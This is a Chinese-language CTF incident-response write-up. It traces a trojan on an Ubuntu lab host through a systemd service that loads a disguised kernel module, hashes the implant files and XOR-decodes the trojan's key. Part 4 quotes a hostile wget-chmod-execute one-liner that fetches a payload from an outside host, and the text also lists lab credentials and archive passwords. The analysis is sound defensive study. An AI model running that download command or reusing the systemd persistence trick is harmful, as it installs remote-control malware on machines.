简介
小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。
入口主机请通过 ssh 进行登录,登录口令为:ubuntu/admin_123456,如需 root 权限请使用 sudo;
第一层解压密码:5e9c5e0370a9c29816b44dfbe2ae5a8d
第二层解压密码:81c7e0d7a82ee016e304fb847c31e497
链接: https://pan.baidu.com/s/1erbJPpMlXLCHEpdmXEuvOg?pwd=q1uz 提取码: q1uz
--来自百度网盘超级会员v7的分享
part1
1.找出主机木马回连的主控端服务器ip地址[不定时3-5分钟],并以md5形式提交。
当时做题目的识图全局搜索ip地址,失败。
写个试试监控外联的脚本
#!/bin/bash
# 增量监控 ss -tulnp,仅在连接状态变化时输出
INTERVAL=2 # 检查间隔(秒)
PREV_OUTPUT="" # 存储上一次的输出
# 检查是否以root运行(需要查看进程信息)
if [ "$(id -u)" -ne 0 ]; then
echo "请使用root权限运行(ss -tulnp 需要root权限)" >&2
exit 1
fi
echo "开始增量监控监听中的连接(按 Ctrl+C 停止)"
echo "----------------------------------------"
# 初始输出
PREV_OUTPUT=$(ss -tulnp)
echo -e "[$(date '+%Y-%m-%d %H:%M:%S')] 初始监听状态:"
echo "$PREV_OUTPUT"
while true; do
sleep "$INTERVAL"
CURRENT_OUTPUT=$(ss -tulnp)
# 比较当前输出和上一次输出
if [ "$CURRENT_OUTPUT" != "$PREV_OUTPUT" ]; then
echo -e "\n[$(date '+%Y-%m-%d %H:%M:%S')] 连接状态变化:"
echo "$CURRENT_OUTPUT"
PREV_OUTPUT="$CURRENT_OUTPUT" # 更新上一次的输出
fi
done
但是这题是抓不到的,因为木马hook了kernal,可以使用tcpdump 监听网卡
root@ip-10-0-10-1:/tmp# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
link/ether 02:f1:c1:af:f8:2f brd ff:ff:ff:ff:ff:ff
inet 10.0.10.1/16 brd 10.0.255.255 scope global dynamic eth0
valid_lft 2752sec preferred_lft 2752sec
inet6 fe80::f1:c1ff:feaf:f82f/64 scope link
valid_lft forever preferred_lft forever
只有两张网卡
监听eth0
#!/bin/bash
INTERFACE="eth0"
if [ -n "$1" ]; then
INTERFACE="$1"
fi
# 检查是否以root运行
if [ "$(id -u)" -ne 0 ]; then
echo "请使用root权限运行(tcpdump需要root)" >&2
exit 1
fi
# 获取本机IP列表(支持多IP情况)
LOCAL_IPS=$(ip -o addr show dev "$INTERFACE" | awk '$3 == "inet" {split($4, a, "/"); print a[1]}')
echo "监控本机外向TCP连接($INTERFACE):[时间] 本机IP:端口 → 目标IP:端口"
echo "按Ctrl+C停止"
echo "---------------------------------------------------------------"
# 使用关联数组去重
declare -A seen_connections
tcpdump -i "$INTERFACE" -n -t tcp 2>/dev/null | awk -v local_ips="$LOCAL_IPS" '
BEGIN {
split(local_ips, ips, " ")
}
{
if (match($0, /IP ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)\.([0-9]+) > ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)\.([0-9]+)/, m)) {
for (i in ips) {
if (m[1] == ips[i]) {
connection = sprintf("[%s:%s → %s:%s]", m[1], m[2], m[3], m[4])
if (!seen[connection]++) {
# 获取当前时间
cmd = "date \"+%Y-%m-%d %H:%M:%S\""
cmd | getline now
close(cmd)
printf "[%s] %s\n", now, connection
fflush()
}
break
}
}
}
}'
也可以静态分析镜像文件
信息收集
Ubuntu用户下面有个.viminfo保存的是之前vim留存的信息
root@ip-10-0-10-1:/tmp# cat /etc/systemd/system/system-upgrade.service
[Unit]
Description=system-upgrade
After=multi-user.target
[Service]
Type=forking
ExecStart=/sbin/insmod /lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko
[Install]
WantedBy=multi-user.target
是一个系统升级服务的配置文件,尝试逆向/lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko
找到外联的ip和端口
part2
2.找出主机上驻留的远控木马文件本体,计算该文件的md5值
根据上一步静态分析得到加载器,在里面找木马本体文件
可以看到是通过/lib/systemd/systemd-agentd
外联的
root@ip-10-0-10-1:/tmp# md5sum /lib/systemd/systemd-agentd
bccad26b665ca175cd02aca2903d8b1e /lib/systemd/systemd-agentd
part3
3.找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的md5值。
.ko文件就是加载并执行远控木马的加载器
root@ip-10-0-10-1:/tmp# md5sum /lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko
78edba7cbd107eb6e3d2f90f5eca734e /lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko
part4
4.查出题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称md5
ubuntu目录下面有个1.txt
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
可以猜测这个就是下载痕迹,源文件名 .system_upgrade
root@ip-10-0-10-1:/home/ubuntu# echo -n ".system_upgrade" | md5sum
9729aaace6c83b11b17b6bc3b340d00b -
part5
5.分析题目2找到的远控木马,获取木马通信加密密钥。
分析/lib/systemd/systemd-agentd
没有符号表,看字符串
交叉引用过去 unk_4BEFFD
长度23,每个字节异或0x69
original_bytes = [
0x3D, 0x01, 0x20, 0x36, 0x58, 0x3A, 0x36, 0x1D, 0x01, 0x5A, 0x36, 0x3A, 0x5A, 0x0A,
0x3B, 0x5A, 0x1D, 0x36, 0x0F, 0x05, 0x29, 0x0E
]
decrypted = [b ^ 0x69 for b in original_bytes]
decrypted_str = ''.join([chr(b) for b in decrypted])
print("解密结果:", decrypted_str)